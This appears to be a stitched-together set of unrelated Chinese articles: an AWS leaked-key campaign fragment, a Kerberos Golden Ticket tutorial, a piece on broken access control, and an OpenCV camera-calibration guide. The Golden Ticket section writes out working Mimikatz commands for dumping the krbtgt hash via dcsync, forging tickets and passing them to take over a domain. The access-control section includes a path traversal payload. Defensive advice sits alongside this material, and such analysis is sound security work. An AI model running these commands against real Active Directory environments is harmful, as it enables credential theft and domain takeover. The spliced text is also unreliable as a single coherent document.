该活动至少从2020年就开始了，尽管AWS隔离政策取得了成功，但该活动在受害帐户的数量和频率上仍然持续波动，研究人员认为关注泄漏的GitHub秘钥或亚马逊EC2实例目标仅仅是攻击目标之一。 为了方便分析，研究人员开发了一个半自动化的IaC Terraform架构来跟踪该攻击活动，其中就包括动态创建旨在被破坏和销毁的AWS账户。 缓解策略 1.使用AWS隔离策略； 2.使用Amazon Lightsail，在泄漏的IAM密钥提交到GitHub存储库的几分钟内，AWS启动了此隔离。这一隔离策略必须正确使用，以确保潜在的攻击者不会利用敏感的云数据、服务和资源。 无意中泄漏AWS IAM秘钥的组织应立即撤销使用该秘钥建立的任何API连接，还应从其GitHub存储库中删除AWS IAM秘钥，并生成新的AWS IAM秘钥以实现所需功能。

0x01黄金票据的原理和条件 黄金票据是伪造票据授予票据（TGT），也被称为认证票据。如下图所示，与域控制器没有AS-REQ或AS-REP（步骤1和2）通信。由于黄金票据是伪造的TGT，它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。 Kerberos黄金票据是有效的TGT Kerberos票据，因为它是由域Kerberos帐户（KRBTGT）加密和签名的 。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的。 黄金票据的条件要求： 1.域名称[AD PowerShell模块：（Get-ADDomain）.DNSRoot] 2.域的SID 值[AD PowerShell模块：（Get-ADDomain）.DomainSID.Value] 3.域的KRBTGT账户NTLM密码哈希 4.伪造用户名 一旦攻击者拥有管理员访问域控制器的权限，就可以使用Mimikatz来提取KRBTGT帐户密码哈希值。 0x02黄金票据局限性 黄金票据 “欺骗”了当前域的管理权限，当KRBTGT帐户密码哈希显示在作为多域AD的林一部分的子域中时存在此局限性。因为是根（root）域包含全森林管理组Enterprise Admins。由于Mimikatz通过相对标识符（RID）向票据添加了组成员资格，因此Kerberos票据中的519（企业管理）RID在其创建的域中（基于KRBTGT帐户域）被标识为本地。如果通过获取域SID和附加RID创建的域安全标识符（SID）不存在，那么Kerberos票据的持有者不会收到该级别的访问权限。换句话说，在一个多域AD森林中，如果创建的Golden Ticket域不包含Enterprise Admins组，则Golden Ticket不会向林中的其他域提供管理权限。在单个域Active Directory林中，由于Enterprise Admins组驻留在此域中，这时创建Golden Ticket不存在局限性。 如下图所示：除非在Enterprise Admins中，否则黄金票据不能跨域信任使用，。标准的黄金票据仅限于其创建的子域 0x03绕过黄金票据局限性 在迁移方案中，从DomainA迁移到DomainB的用户将原始DomainA用户SID值添加到新的DomainB的 SID History属性中。当用户使用新帐户登录DomainB时，DomainA SID将与确定访问的DomainB用户组一起验证。这意味着可以将SID添加到SID历史记录以扩展访问。 一旦Mimikatz支持Golden Ticket（和Silver Tickets）中的SID History，事情会变得更加有趣，因为AD Forest中的任何组都可以被包含并用于授权访问。使用最新版本的Mimikatz，我们现在可以将SID历史记录添加到Forest Enterprise Admins组的Golden Ticket中。一旦单个域名的KRBTGT帐户密码哈希被获取到，通过黄金票据可伪造用户登录到整个森林中。 总而言之，一旦一个域名受到威胁。黄金门票现在可以用来微机AD森林中的任何域 注意：在Active Directory林中的信任之间启用SID筛选可以防止绕过黄金票据局限性。 0x04黄金票据的特点 1.域控制器中的KDC服务不验证TGT中的用户帐户，直到TGT超过20分钟，这意味着攻击者可以使用禁用和删除的帐户，甚至是在Active Directory中不存在的虚拟帐户。 微软的MS-KILE解释： Kerberos V5不提供对TGS请求的帐户撤销检查，只要TGT有效，即使该帐户已被删除，TGT更新和服务票据也可以发布。KILE提供了一个可以将利用时间限制在较短的时间内（20分内）。当TGT大于20分钟时，KILE KDC需要在域中检查账户。 2.由于在域控制器上由KDC服务生成的域设置了Kerberos策略，如果提供票据，则系统信任票据的有效性。这意味着，即使域策略声明Kerberos登录票据（TGT）只有10小时有效，如果票据声明有效期为10 年，那么也会信任票据的有效性期为10年。 3.该KRBTGT帐户密码从不更改*和直到KRBTGT密码被更改（两次），攻击者可以创建黄金票据。请注意，即使伪造用户更改其密码，创建用于模拟用户的Golden Ticket仍然存在。 4.它绕过了SmartCard身份验证要求，因为它绕过了DC在创建TGT之前执行的常规验证。 5.这个精心创建的TGT要求攻击者拥有Active Directory域的KRBTGT密码哈希值（通常从域控制器转储）。 6.KRBTGT NTLM哈希可用于生成一个有效的TGT（使用RC4）模拟任何用户访问Active Directory中的任何资源。 7.在主机上都可以生成和使用黄金票据（TGT），即使没有加入域也是如此。只要网络可以访问域。 8.用于从AD森林中的DC获取有效的TGS票据，并提供一个坚持在一切域访问所有的主机的好办法。 0x05黄金票据防御 1.限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机（不要让其他管理员登录到这些服务器）将所有其他权限委派给自定义管理员组。这大大降低了攻击者访问域控制器的Active Directory的ntds.dit。如果攻击者无法访问AD数据库（ntds.dit文件），则无法获取到KRBTGT帐户密码。 2. 禁用KRBTGT帐户，并保存当前的密码以及以前的密码。KRBTGT密码哈希用于在Kerberos票据上签署PAC并对TGT（身份验证票据）进行加密。如果使用不同的密钥（密码）对证书进行签名和加密，则DC（KDC）通过检查KRBTGT以前的密码来验证。 3.建议定期更改KRBTGT密码（毕竟这是一个管理员帐户）。更改一次，然后让AD备份，并在12到24小时后再次更改它。这个过程应该对系统环境没有影响。这个过程应该是确保KRBTGT密码每年至少更改一次的标准方法。 4.一旦攻击者获得了KRBTGT帐号密码哈希的访问权限，就可以随意创建黄金票据。通过快速更改KRBTGT密码两次，使任何现有的黄金票据（以及所有活动的Kerberos票据）失效。这将使所有Kerberos票据无效，并消除攻击者使用其KRBTGT创建有效金票的能力。 0x06使用Mimikatz伪造Kerberos黄金票据 Mimikatz命令：Kerberos：Golden用于创建“黄金票据”（伪造TGT身份验证票证） Mimikatz命令示例： kerberos::golden /admin:ADMIINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt kerberos::golden /admin:darthvader /domain:lab.adsercurity.org /id:2601 /sid: S-1-5-21-4155807533-921486164-2767329826 /krbtgt:8a2f1adcdd519a23515780021d2d178a /ptt 1.导出krbtgt的Hash 在域控上执行通过mimkatz输出： mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt" 找到如下信息： /domain：test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f 2、生成Golden Ticket 伪造的用户设置为god,执行: mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god /ticket:gold.kirbi" 生成文件gold.kirbi 3、伪造Golden Ticket获得域控权限 导入Golden Ticket，执行如下命令： kerberos::ptt c:\test\gold.kirbi 如图，成功获得域控权限 Tips: 生成Golden Ticket不仅可以使用aes256，也可用krbtgt的NTLM hash 可以用mimikatz "lsadump::lsa /patch"导出: 0x07 Mimikatz黄金票据命令参考： Mimikatz创建黄金的命令是“kerberos :: golden” /domain -----完整的域名，在这个例子中：“lab.adsecurity.org” / sid ----域的SID,在这个例子中：“S-1-5-21-1473643419-774954089-2222329127” / sids --- AD森林中账户/组的额外SID，凭证拥有权限进行欺骗。通常这将是根域Enterprise Admins组的“S-1-5-21-1473643419-774954089-5872329127-519”值。Ť / user ---伪造的用户名 / groups（可选）---用户所属的组RID（第一组是主组）。添加用户或计算机帐户RID以接收相同的访问权限。默认组：513,512,520,518,519为默认的管理员组。 / krbtgt---域KDC服务帐户（KRBTGT）的NTLM密码哈希值。用于加密和签署TGT。 / ticket（可选） - 提供一个路径和名称，用于保存Golden Ticket文件以便日后使用或使用/ ptt立即将黄金票据插入内存以供使用。 / ptt - 作为/ ticket的替代品 - 使用它来立即将伪造的票据插入到内存中以供使用。 / id（可选） - 用户RID。Mimikatz默认值是500（默认管理员帐户RID）。 / startoffset（可选） - 票据可用时的起始偏移量（如果使用此选项，通常设置为-10或0）。Mimikatz默认值是0。 / endin（可选） - 票据使用时间范围。Mimikatz默认值是10年（〜5,262,480分钟）。Active Directory默认Kerberos策略设置为10小时（600分钟）。 / renewmax（可选） - 续订最长票据有效期。Mimikatz默认值是10年（〜5,262,480分钟）。Active Directory默认Kerberos策略设置为7天（10,080分钟）。 / sids（可选） - 设置为AD林中企业管理员组（ADRootDomainSID）-519）的SID，以欺骗整个AD林（AD林中每个域中的AD管理员）的企业管理权限。 / aes128 - AES128密钥 / aes256 - AES256密钥 黄金票默认组： 域用户SID：S-1-5-21 <DOMAINID> -513 域管理员SID：S-1-5-21 <DOMAINID> -512 架构管理员SID：S-1-5-21 <DOMAINID> -518 企业管理员SID：S-1-5-21 <DOMAINID> -519（只有在森林根域中创建伪造票证时才有效，但为AD森林管理员权限添加使用/ sids参数） 组策略创建者所有者SID：S-1-5-21 <DOMAINID> -520 命令格式如下： kerberos :: golden / user：ADMIINACCOUNTNAME / domain：DOMAINFQDN / id：ACCOUNTRID / sid：DOMAINSID / krbtgt：KRBTGTPASSWORDHASH / ptt 命令示例： .\mimikatz “kerberos::golden /user:DarthVader /domain:rd.lab.adsecurity.org /id:500 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /ptt” exit

失效的访问控制这个漏洞类别一直跻身OWASP Top Web应用程序安全风险列表，目前已对应用程序安全构成了严重的挑战。 访问控制漏洞让用户可以访问敏感数据，并使他们能够执行超出预期权限的操作，此类漏洞的后果可能导致数据泄露、篡改甚至销毁。 本文将讨论为什么即使在漏洞扫描和评估之后失效的访问控制漏洞仍然常常存在，以及手动渗透测试对于有效检测和缓解的重要性。 什么是访问控制？ 访问控制如同一种授权检查，确保对资源的访问和执行操作的能力授予了某些用户（如管理员），而不是其他用户（如普通用户）。这种检查主要在身份验证过程之后执行。 在Web应用程序安全中，访问控制与内容、功能的预期用途以及用户扮演的各种角色密切相关。比如说，这可能包括阻止低权限用户执行管理员功能、阻止用户访问另一用户的资源，或者基于上下文因素授予或拒绝对资源或功能的访问。 在处理包含大量用户角色和功能的大型复杂应用程序时，正确实施访问控制很快会变得困难重重。 什么是失效的访问控制？ 失效的访问控制顾名思义是访问控制没有按预期工作，这实际上与我们上面提到的恰好相反，后面附有一些详细的例子。 不安全的直接对象引用（IDOR） 以允许普通用户查看和编辑帐户信息的应用程序为例。每个帐户被分配了一个用户ID，编辑请求被发送后，应用程序根据请求中所含的ID确定要更新哪个帐户。在这种场景下，攻击者可以通过将用户ID改为受害者的ID来操纵旨在更新帐户的出站请求。 如果没有实施适当的访问控制，受害者的帐户将收到编辑——这是直接影响完整性的IDOR漏洞。假设攻击者更改了受害者的电子邮件地址，随后提出了重置密码请求，这将允许他们设置一个新密码，最终接管受害者的帐户。 以下是失效的访问控制这个话题常出现的另两个术语：水平特权升级和垂直特权升级。 1. 水平特权升级 水平特权升级指以类似权限获得对另一个帐户资源的访问。在前面例子中，如果受害者帐户拥有与攻击用户（即普通用户）相似的权限，它也叫水平特权升级。简而言之，除了可以访问另一个帐户的资源外，攻击者并不获得任何额外的权限。 2. 垂直特权升级 垂直特权升级指以更大的权限获得对另一个帐户资源的访问。在前面例子中，如果受害者帐户拥有更高的权限（比如管理员），这就叫垂直特权升级。攻击者可以滥用额外的权限对应用程序进行进一步的攻击。 路径/目录遍历 以允许用户借助内置预览器功能查看发票的应用程序为例。发票存储在托管应用程序的同一台服务器上，位于以下绝对路径： /var/www/html/vulnerable-application/invoices/ 当用户点击其配置文件下显示的其中一张发票时，将发送以下请求： 图1. 检索发票的合法请求 预览器的工作原理是将“file”参数的值附加到特定的绝对路径。然后，它将检索该文件的内容，然后返回给请求用户。 /var/www/html/vulnerable-application/invoices/invoice-2024-12-24.pdf 然而与IDOR场景一样，攻击者也可以在这里截获出站请求，将“file”参数修改为不打算检索的文件。 图2. 试图检索非预期文件的已被修改的请求 如果没有实施适当的访问控制，预览器现在将尝试检索： /var/www/html/vulnerable-application/invoices/../../../../../etc/hosts 点-点-斜杠（../）序列回退路径中的一个目录（遍历到父目录）。我们有五个这样的序列，这意味着最后将出现在文件系统的根路径（/）。我们由此进入etc目录，我们从该目录请求hosts文件。 现在，hosts文件（将主机名映射到IP地址的默认文件）很可能不是攻击者的首选。我们在这里使用它只是为了展示在应用程序目录之外检索文件（又叫本地文件包含）的可能性。攻击者会改而尝试检索应用程序目录内外的敏感文件。 无法升级？那就降级！ 我们将通过客户评估的真实例子来说明。该应用程序具有多个用户角色，所有角色似乎精心设置，并适当隔离。由于实施了大量的访问控制，所有试图提升普通用户的特权、访问非预期资源以及执行特权操作的活动一律被阻止。 然而我们在全面分析各种用户角色之后注意到了一处差异。针对上下文，某些角色可以编辑和删除其他用户的帐户，但只能对权限较低的帐户执行此操作，拥有这些权限的用户也不能对自己的帐户执行这些操作。为任何高权限用户分配低权限角色的可能性被忽视，实际上删除了所有权限，对帐户进行了降级。从技术上讲，这些被降级的帐户现在满足被权限较低的帐户编辑和删除的条件。 图3. 落实了防止权限升级的访问控制，但没有落实防止权限降级的访问控制 由于正确实施访问控制的难度随应用程序的复杂性而加大，识别访问控制问题的难度也随之加大。若要检测这些控制，手动安全测试是最好的方法，因为它需要更深入地了解上下文和应用程序的预期用途。 漏洞扫描的局限性 漏洞扫描器是识别应用程序中缺陷的一种流行解决方案。然而，仅仅依赖它们会给应用程序的所有者带来一种虚假的安全感，虽然这些扫描器可以持续快速地提供扫描结果，但在检测新颖的攻击途径或需要直觉和推理的其他漏洞方面的能力有限。 为了进一步阐明这点，不妨将访问控制漏洞与另一个复杂性相似、需要人工推理的常见漏洞：业务逻辑漏洞进行比较。 当应用程序的设计、实施或内部流程偏离预期用途时，就会出现业务逻辑漏洞，一些独特而常见的例子包括订购负数量的产品或多次兑换相同的折扣码。 漏洞扫描器的局限性变得很明显，扫描器无法识别应用程序的预期行为。从它的角度来看，负数仍然是数字，重复使用某个功能未必是坏事。与跨站脚本（XSS）和SQL注入等其他漏洞不同，扫描器无法简单地在这里提供输入，然后在应用程序的响应中查找预定义的模式，以确定是否存在漏洞。 从进攻性安全的角度来看，从失效的访问控制或业务逻辑类别中捕获漏洞需要对应用程序具有相同的认识和上下文理解，在许多情况下也存在相当大的重叠。比如，在评估文件上传功能时，一个测试用例可能是在只允许图像文件的情况下，上传一个意外的文件类型，比如包含JavaScript载荷的SVG文件，虽然SVG满足广泛的图像标准，但其含有的JavaScript不易被受害者的浏览器解析。 在实际场景中，还会增加权限、角色、外部集成、第三方库和依赖项等形式的额外复杂性，而漏洞扫描器几乎不可能确定这种针对特定上下文的复杂性。 图4. 访问控制的复杂性

高质量图像对于包括安全和车载摄像系统在内的各种解决方案以及开发和训练用于图像处理任务的机器学习算法至关重要。 然而，物理相机传感器经常会导致照片失真。这些扭曲会显着降低图像质量，甚至使您的解决方案无法处理图像。 在本文中，我们将探讨什么是图像失真以及消除它们的重要性。我们还展示了如何使用 OpenCV 修复图像失真。本文对于致力于具有图像处理功能的 IT 解决方案、想要了解有关修复图像失真的更多信息的企业和开发团队将有所帮助。 什么是图像失真？它们如何影响您的解决方案的性能？ 图像失真通常是图形图像与其现实原型的不成比例、不充分的偏差。例如，现实生活中的直线或平行线可能会出现变形或不自然的弯曲。另一个例子是与照明相关的扭曲，例如当颜色朝图像边界变暗时，类似于渐晕。 并非所有的扭曲都是不利的。例如，您可能希望在使用广角镜头拍摄的图像中保留特定的畸变，以突出显示前景和背景之间的距离。 然而，通常情况下，您需要相机来拍摄精确的图像。对于某些技术来说，获得零失真的图像至关重要。 确保图像无失真对于开发机器学习(ML) 解决方案和训练人工智能(AI) 网络执行图像处理任务极其重要。 训练数据集必须一致（相似的示例必须具有相似的标记）且统一（所有属性的值必须在所有数据中具有可比性）。质量差的数据集会降低人工智能算法训练过程的效率。 在某些情况下，可以故意将扭曲的图像放置在数据集中。例如，您可能想要训练算法来处理由具有不同失真的不同相机拍摄的图像。然而，如果来自不同相机的图像在扭曲的形式和程度方面存在显着差异，那么将此类图像包含在一个数据集中将破坏一致性和均匀性要求。因此，不可能有效地训练人工智能算法来提供所需的结果。 图像质量对于使用计算机视觉和增强现实(AR) 技术的软件也至关重要。 假设您正在使用一个复杂的解决方案，该解决方案使用两个或更多相机从不同角度拍摄照片。您可能需要组合多个图像才能接收三维图像，就像车辆 360 度摄像头系统中使用的图像一样。或者您可能希望通过拼接多张照片来扩展视图，以生成整个场景的高分辨率全景图像。如果不校准（切除）相机传感器，连接图像之间的拼接将是可见的。 要解决这些问题，您需要修复图像失真。在讨论如何做到这一点之前，我们先简要探讨一下此类扭曲的常见类型。 图像失真的类型 为了有效地校正图像，首先必须了解您正在处理什么类型的失真。图像畸变有两种类型：径向畸变和切向畸变。 当光学传感器与光学透镜成角度放置时，会发生切向畸变。 以下是拍摄方形物体时切向畸变如何工作的示例： 径向畸变是指从图像中心到边缘的线条曲率，反之亦然。径向畸变分为三种类型： 1.当图像放大率随着距光轴的距离而减小时，就会出现桶形畸变。 2.当图像放大倍数随着距光轴的距离而增加时，就会出现枕形畸变。 3.小胡子失真（也称为波形失真）比前两种类型发生的情况要少得多，并且本质上是它们的混合。胡须畸变开始时是靠近图像中心的桶形畸变，并逐渐变成朝向图像外围的枕形畸变。 径向畸变的类型取决于镜头的类型和形状——镜头越弯曲，最终图像中的线条越弯曲。让我们比较一下输入网格在没有失真的情况下与使用导致不同类型径向失真的镜头拍摄时的样子： 考虑到这一点，我们来讨论如何消除图像失真。 如何修复图像扭曲 一些现代相机具有先进的镜头系统，旨在最大限度地减少最终图像的失真；然而，他们无法完全消除它们。不太先进的相机可以提供有关需要进行哪些更改才能消除失真的信息。 而通常用于开发定制设备的最简单的相机则不具备这些功能。要修复失真，您首先需要根据传感器的实际实验确定必要的更改。 简单的传感器很普遍，因为它们批量生产的成本低廉。即使一个传感器的设计存在微小差异，也会显着提高整批传感器的价格。 如果您的相机镜头产生图像失真该怎么办？ 拍摄图像后，您可以使用编程方法修复失真。这样，您可以为特定相机创建算法，并使用该算法自动修复该相机拍摄的所有图像的扭曲。 要创建可以检测和修复图像失真的算法，您可以使用以下工具： · 开放CV。一个开源计算机视觉和机器学习软件库，拥有 2,500 多种优化算法。您可以使用这些算法来拼接图像、检测和识别人脸、识别物体、跟踪移动物体、提取物体的 3D 模型等。OpenCV 库为计算机视觉解决方案提供了通用基础设施，有助于加速机器感知在商业中的使用产品。 · 四月标签。一种视觉基准系统，可用于不同的任务，包括增强现实、机器人和相机校准。AprilTag 库旨在轻松包含在其他应用程序中，以及移植到嵌入式设备。 · 计算机视觉工具箱。商业工具集，提供用于设计和测试计算机视觉、3D 视觉和视频处理系统的算法、函数和应用程序。它还允许您自动执行单镜头、立体和鱼眼相机的校准工作流程。 · ShiftN。自动镜头畸变校正软件特别适用于建筑图像。首先，ShiftN 搜索图像中的直线和边缘，并考虑那些足够垂直的可能的建筑元素。然后，软件运行一个优化过程，尝试确定透视，校正图像，使线条平行。 在本文中，我们展示了一个使用 OpenCV 确定和修复图像失真的实际示例，因为该库具有丰富的图像处理功能并且可以免费使用。此外，我们在这方面拥有丰富的经验。 如何使用 OpenCV 库识别和修复图像失真 OpenCV 是修复图像失真的好工具。该库提供了校正图像和校准相机传感器的广泛功能。它支持各种相机型号，并涵盖寻找畸变系数和修复畸变的不同方法。但首先，您需要知道如何使用 OpenCV 识别图像失真。 默认情况下，OpenCV 使用针孔相机模型。校准方法确定用于校准的模型以及将在模型上使用的标记。相机模型决定了计算相机矩阵的算法以及要使用的畸变系数的数量。让我们定义这些术语： · 相机矩阵是将点从三维场景映射到二维图像的数学模型，在使用畸变系数修复相机畸变时使用。 · 畸变系数描述图像中的某些畸变。失真越复杂，描述和消除它们所需的系数就越多。OpenCV 可以计算最多六个径向失真系数和最多两个切向失真系数。 现在，让我们尝试确定使用 OpenCV 针对特定传感器检测和消除图像失真所需的系数。 1. 生成相机标定模型 用于相机校准的模型（也称为板）分为三种类型： 1.Chessboard 2.ArUco board 3.ChArUco board, which combines Chessboard and ArUco 它们是这样的： 对于我们的示例，我们使用 ChArUco 板，因为与标记角相比，它的角要准确得多。 要在 OpenCV 中生成 ChArUco 板，请使用以下代码： 结果，您将收到以下模型： 2. 打印出实体模型并拍几张照片 您使用要校准的相机传感器拍摄的照片越多，并且板在不同图像中的放置越多样化，您能够计算的系数就越准确。 假设您收到以下图像并发现您的传感器导致径向失真： 接下来，将接收到的图像上传到cv::Mat inImag变量。 3. 检测图像中的ArUco标记 要检测 ArUco 标记，请对每个图像使用以下代码： 结果，ArUco 标记的角点坐标和标记的 ID 将记录在corners和ids变量中。以下是找到的标记在图像中的样子： 4. 检测图像中的 ChArUco 标记 使用检测到的 ArUco 标记来查找 ChArUco 标记，代码如下： 检测到的 ChArUco 标记如下所示： 正如您所看到的，ChArUco 标记位于 ArUco 标记之间的角落（这就是我们需要首先找到 ArUco 标记的原因）。 5. 校准相机以确定畸变系数并构建相机矩阵 找到 ChArUco 标记的边缘和 ID 后，您就可以开始校准相机： repError = aruco::calibrateCameraCharuco(allCharucoCorners, allCharucoIds, charucoboard, imgSize, cameraMatrix, distCoeffs, rvecs, tvecs, calibrationFlags);运行上面的代码后，您将得到： · 填充后的图像矩阵 ( cameraMatrix) · 畸变系数 ( distCoeffs) · 旋转向量 ( rvecs) · 平移向量 ( tvecs) 现在您知道了失真系数，您可以开始使图像不失真。 6.修复变形 要修复 OpenCV 中的径向畸变，您只需要图像矩阵和畸变系数： 不失真inputImage函数使用校准期间找到的系数 (cameraMatrix和)来修复图像失真 ( ) distCoeffs。最终图像记录在outputImage中。 与上面提到的所有其他函数一样，非扭曲函数默认使用针孔相机模型。对于其他相机模型，OpenCV 具有类似的功能，用于识别图像中的标记、校正图像和消除失真。当使用其他相机型号时，包含失真系数的矩阵的数量和格式可能会有所不同。因此，您不应该同时使用不同相机型号的函数，因为这会导致 OpenCV 运行出现错误。 对于使用已校准的传感器拍摄的所有图像，您检测到的畸变系数将是正确的，而不仅仅是用于校准的那些图像。这使您可以校准相机一次，然后使用为之后拍摄的所有图像确定的系数。 以下是修复图像失真之前和之后图像的示例： 如果您正在处理特别复杂的图像扭曲，您可能需要尝试另一种更准确的方法来查找图像上的 ChArUco 标记： · 查找 ArUco 标记 · 准备 ArUco 标记以进行相机校准 · 校准相机以获得畸变系数和图像矩阵 · 使用接收到的系数和矩阵来插值ChArUco 标记 为了确保 ChArUco 标记的插值，请使用以下代码： aruco::interpolateCornersCharuco(corners, ids, image, charucoBoard, charucoCorners, charucoIds, cameraMatrix, distCoeffs);在图像失真复杂的情况下，这要准确得多。它可以显着提高标记检测的准确性，但需要更多时间。 您可以使用重投影误差值来评估标记检测的准确性，您可以在调用该aruco::calibrateCameraCharuco函数后看到该值。校准相机时，最好使用重投影误差值不超过一定限制的图像。您可以决定您的算法可接受的错误限制是多少。通常，它是 1 到 3 之间的值。 如果重投影误差值超出您的限制，则无法使用此类图像进行相机校准。如果您最终由于这种原因排除了太多图像，请考虑使用第二种方法查找标记。 您可以在Apriotit GitHub 页面上找到本文中使用的示例的完整代码。 注意：校准传感器和修复失真的方法比我们在本文中描述的方法要多。您还可以使用： · OpenCV 提供的其他功能。例如，您可以尝试 ArUco 校准或配置鱼眼和全向相机等相机型号的设置。 · 替代工具，例如 AprilTag 或 Computer Vision Toolbox。 没有一种灵丹妙药可以完美适用于所有传感器。要选择最合适的相机校准方法，请考虑特定传感器的具体情况以及镜头的配置和形式。 结论 OpenCV 是一个强大的图像校正工具，在本文中，我们只解决了它的一小部分功能。一般来说，OpenCV 适合大多数情况，并且允许您显着改善图像的几何形状和质量，而无需使用复杂的镜头和传感器。